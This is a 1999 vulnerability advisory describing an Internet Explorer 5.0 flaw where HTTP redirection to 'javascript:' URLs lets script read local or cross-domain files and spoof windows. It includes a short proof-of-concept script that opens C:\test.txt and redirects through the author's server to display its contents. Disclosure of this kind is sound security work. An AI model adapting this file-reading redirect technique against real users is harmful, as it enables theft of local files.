ie5.javascript.redirect.txt

`IE 5.0 allows reading local (and from any domain) files and window  
spoofing using HTTP redirection to "javascript:"   
  
Disclaimer: The opinions expressed in this advisory and program are my  
own and not of any company. The usual standard disclaimer applies,  
especially the fact that Georgi Guninski is not liable for any damages  
caused by direct or indirect use of the information or functionality  
provided by this program. Georgi Guninski, bears NO responsibility for  
content or misuse of this program or any derivatives thereof.   
  
Description:  
  
Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (suppose Win98 is  
vulnerable) allows reading local files and text/HTML files from any  
domain. Window spoofing is possible. It is also possible in some cases to  
read files behind fiewall.   
  
Details:  
  
The problem is a HTTP redirect to "javascript:" URLs. If you open a local  
file and the change its location to an URL that redirects to  
"javascript:JavaScript code" then the JavaScript code is executed in the  
security context of the original local file and has access to its DOM.   
The local file may be sent to an arbitrary server. In a similar way one  
may do window spoofing. This vulnerability may be exploited using HTML  
email message or a newsgroup posting.   
  
The code is:  
----------------------------------------------------------------------------------------  
<SCRIPT>  
alert("Create a short text file C:\\TEST.TXT and it will be read and  
shown in a dialog box");  
a=window.open("file://c:/test.txt");  
a.location="http://www.nat.bg/~joro/reject.cgi?jsredir1";  
</SCRIPT>  
// "http://www.nat.bg/~joro/reject.cgi?jsredir1" just does a HTTP  
redirect to: "javascript:alert(document.body.innerText)"  
----------------------------------------------------------------------------------------  
  
  
Workaround:  
Disable Active Scripting  
  
Demonstration is available at http://www.nat.bg/~joro/jsredir1.html  
  
Copyright 1999 Georgi Guninski  
  
Regards,  
Georgi Guninski  
http://www.nat.bg/~joro  
  
  
`